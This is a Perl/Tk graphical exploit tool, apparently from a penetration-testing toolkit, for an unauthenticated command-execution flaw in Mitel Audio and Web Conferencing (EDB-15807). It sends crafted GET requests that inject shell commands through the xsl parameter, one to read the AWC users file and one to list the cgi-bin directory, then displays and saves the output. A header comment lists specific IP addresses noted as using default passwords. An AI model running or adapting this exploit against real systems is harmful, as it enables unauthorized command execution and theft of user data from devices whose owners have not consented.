# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------
#63.99.26.26/27
#63.99.26.25 authentification avec password par défaut

use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use LWP::UserAgent;
use HTTP::Request;
use Net::Ping; # http://search.cpan.org/~smpeters/Net-Ping-2.36/lib/Net/Ping.pm
use Net::Netmask; # http://search.cpan.org/dist/Net-Netmask/
use Net::Subnets;

# Declaring functions for network analyzing stuff. Thus no argument passing for function. Its all full available variable.
$p=Net::Ping->new("icmp");

# Variable
my $ScanType = "userlist";
my $AWCIpAddress = "";
my $Results = "";

my $subweb_mw = MainWindow->new(
						-title => 'Mitel AWC: Unauthenticated command execution');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
$file_mb->command(
			-label=>"Vulnerability details",
			-command => sub {&EXPLANATION}
			);		
$file_mb->command(
		-label=>'Launch exploit',
		-command => 
			sub 
			{
				if ($ScanType =~ /userlist/)
				{
					&USERLIST;	
				}
				elsif ($ScanType =~ /directorylist/)
				{
					&DIRECTORYLIST;
				}
			}
		);

$file_mb->command(
			-label=>"Save results",
			-command => sub {&SAVERESULTS}
			);
			
$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#----------
my $FrameTOP = $subweb_mw -> Frame ();
my $rdb_scan = $FrameTOP  -> Radiobutton(-text=>"User list",
												-value=>"userlist",
												-variable=>\$ScanType);
$rdb_scan -> pack (-side => 'left');
$FrameTOP -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE2 = $subweb_mw -> Frame ();
my $rdb_single = $FrameMIDDLE2 -> Radiobutton(-text=>"Directory list",  
												-value=>"directorylist",  
												-variable=>\$ScanType);
$rdb_single -> pack (-side => 'left');
$FrameMIDDLE2 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE1 = $subweb_mw -> Frame ();

$FrameMIDDLE1->Label(
	-text => 'Enter AWC IP Address (192.168.1.1):  '
	)->pack(-side => 'left');
my $TextLabel = $FrameMIDDLE1 -> Entry(
	-textvariable => \$AWCIpAddress,
	- width => 50,
	)->pack(-side => 'left');
$FrameMIDDLE1 -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

my $TextWidget = $FrameMIDDLE4  -> Text(); 
$TextWidget->configure(-height => 28);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);
$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);

$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);
$scrollbar->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');
#-------------


#------------ LAUNCHING THE MAIN LOOP --------
&EXPLANATION;
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------

sub USERLIST
{
	$Results = "";
	if ($AWCIpAddress =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		my $WebPage = "";
		$TextWidget -> delete('0.0', 'end');	

		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget -> insert ("end","Launch exploit - User list\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";

		$IpAddress = $AWCIpAddress;		

		if ($p->ping($IpAddress)) 
		{	
			my $URL="http://".$IpAddress."/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat%20%22/usr/awc/www/users%22%26";
			my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
			my $header = HTTP::Request->new(GET => $URL);
			my $request = HTTP::Request->new('GET', $URL, $header);
			my $response = $agent->request($request);
								
			# Check the outcome of the response
			if ($response->is_success)
			{
				$WebPage = $response->as_string;
				# i know the method is not optimize, but i did not success otherwise ...
				open FILE, ">temp.txt";
				print FILE $WebPage;
				close FILE;
				open FILE2, "temp.txt";
				while (<FILE2>) 
				{
					my $line = $_;
			    	$TextWidget -> insert ("end","$line\n");
			    	$TextWidget  -> update ();		
					$TextWidget  -> see ('end');
					$Results = $Results."$line\n";			
				}
				close FILE2;
				unlink ("temp.txt");
			}
			elsif ($response->is_error)
			{
			    $TextWidget -> insert ("end","Mitel AWC IP address:$IpAddress\n");
			    $TextWidget -> insert ("end","Error: Unable to access the web portal.\n");
			    $TextWidget -> insert ("end","$response->error_as_HTML\n");
				$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget  -> update ();	
				$TextWidget  -> see ('end');
				$Results = $Results."Mitel AWC IP address:$IpAddress\n";	
				$Results = $Results."Error: Unable to access the web portal.\n";
				$Results = $Results."$response->error_as_HTML\n";
				$Results = $Results."-------------------------------------------------------------------------------\n";				
			}
		}
		else
		{
		    $TextWidget -> insert ("end","Mitel AWC IP address:do not answer to ping.\n");
		    $TextWidget -> insert ("end","Exploit could not be launch.\n\n");
			$TextWidget  -> update ();	
			$TextWidget  -> see ('end');
			$Results = $Results."Mitel AWC IP address:do not answer to ping.\n";	
			$Results = $Results."Exploit could not be launch.\n\n";
		}
		
	    $TextWidget -> insert ("end","END\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";		
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'AWC IP address has a wrong syntax !',
					)->Show( );
   	}	
}	

sub DIRECTORYLIST
{
	$Results = "";
	if ($AWCIpAddress =~ /[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/)
	{
		my $WebPage = "";
		$TextWidget -> delete('0.0', 'end');	

		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");			
	    $TextWidget -> insert ("end","Launch exploit - Directory list \n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");		
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."-------------------------------------------------------------------------------\n";	
		$Results = $Results."Launch exploit\n";	
		$Results = $Results."-------------------------------------------------------------------------------\n";

		$IpAddress = $AWCIpAddress;		

		if ($p->ping($IpAddress)) 
		{	
			my $URL="http://".$IpAddress."awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%20%22/usr/awc/www/cgi-bin/%22%26";
			my $agent = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1, timeout => 30);
			my $header = HTTP::Request->new(GET => $URL);
			my $request = HTTP::Request->new('GET', $URL, $header);
			my $response = $agent->request($request);
								
			# Check the outcome of the response
			if ($response->is_success)
			{
				$WebPage = $response->as_string;
				# i know the method is not optimize, but i did not success otherwise ...
				open FILE, ">temp.txt";
				print FILE $WebPage;
				close FILE;
				open FILE2, "temp.txt";
				while (<FILE2>) 
				{
					my $line = $_;
			    	$TextWidget -> insert ("end","$line\n");
			    	$TextWidget  -> update ();		
					$TextWidget  -> see ('end');
					$Results = $Results."$line\n";			
				}
				close FILE2;
				unlink ("temp.txt");
			}
			elsif ($response->is_error)
			{
			    $TextWidget -> insert ("end","Mitel AWC IP address:$IpAddress\n");
			    $TextWidget -> insert ("end","Error: Unable to access the web portal.\n");
			    $TextWidget -> insert ("end","$response->error_as_HTML\n");
				$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
				$TextWidget  -> update ();	
				$TextWidget  -> see ('end');
				$Results = $Results."Mitel AWC IP address:$IpAddress\n";	
				$Results = $Results."Error: Unable to access the web portal.\n";
				$Results = $Results."$response->error_as_HTML\n";
				$Results = $Results."-------------------------------------------------------------------------------\n";				
			}
		}
		else
		{
		    $TextWidget -> insert ("end","Mitel AWC IP address:do not answer to ping.\n");
		    $TextWidget -> insert ("end","Exploit could not be launch.\n\n");
			$TextWidget  -> update ();	
			$TextWidget  -> see ('end');
			$Results = $Results."Mitel AWC IP address:do not answer to ping.\n";	
			$Results = $Results."Exploit could not be launch.\n\n";
		}
				
	    $TextWidget -> insert ("end","END\n");
		$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");	
		$TextWidget  -> update ();	
		$TextWidget  -> see ('end');
		$Results = $Results."END\n";
		$Results = $Results."-------------------------------------------------------------------------------\n";		
	}
	else
	{
		$subweb_mw->Dialog(-title => 'WARNING', 	
						-text => 'AWC IP address has a wrong syntax !',
					)->Show( );
   	}	
}	




sub EXPLANATION
{
	$TextWidget -> delete('0.0', 'end');
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget -> insert ("end", "Vulnerability: Unauthenticated command execution within Mitel's AWC\n");
	$TextWidget -> insert ("end", "OSVDB-ID: 69934	\n");
	$TextWidget -> insert ("end", "EDB-ID: 15807 \n");
	$TextWidget -> insert ("end", "Date: 22/12/2010\n");
	$TextWidget -> insert ("end", "Author: Procheckup\n");
	$TextWidget -> insert ("end", "Website Link: http://www.exploit-db.com/exploits/15807/\n");
	$TextWidget -> insert ("end", "Patch: yes\n\n");
	$TextWidget -> insert ("end", "DESCRIPTION:\n");
	$TextWidget -> insert ("end", "Mitel Audio and Web Conferencing (AWC) is a simple, cost-effective and\n");
	$TextWidget -> insert ("end", "scalable audio and web conferencing solution supporting upto 200 ports.\n");
	$TextWidget -> insert ("end", "ProCheckUp has discovered that the AWC web user interface is vulnerable \n");
	$TextWidget -> insert ("end", "to an unauthenticated command execution attack. \n");
	$TextWidget -> insert ("end", "Command execution allows Unix commands to be remotely executed with the \n");
	$TextWidget -> insert ("end", "permissions associated with the web service account. No authentication\n");
	$TextWidget -> insert ("end", "is required to exploit this vulnerability.\n");	
	$TextWidget -> insert ("end", "WORKAROUND\n");
	$TextWidget -> insert ("end", "Ensure that the latest patches have been installed. \n");
	$TextWidget -> insert ("end", "-------------------------------------------------------------------------------\n");
	$TextWidget  -> update ();	
	$TextWidget  -> see ('end'); 		
}

sub SAVERESULTS
{
	my $FileToSave = $subweb_mw->getSaveFile(
							-defaultextension => '.txt',
                            -initialdir => "user_data"
                              );

	open (TOSAVE, ">>$FileToSave");
	print TOSAVE $Results;
	close (TOSAVE);
	
}	
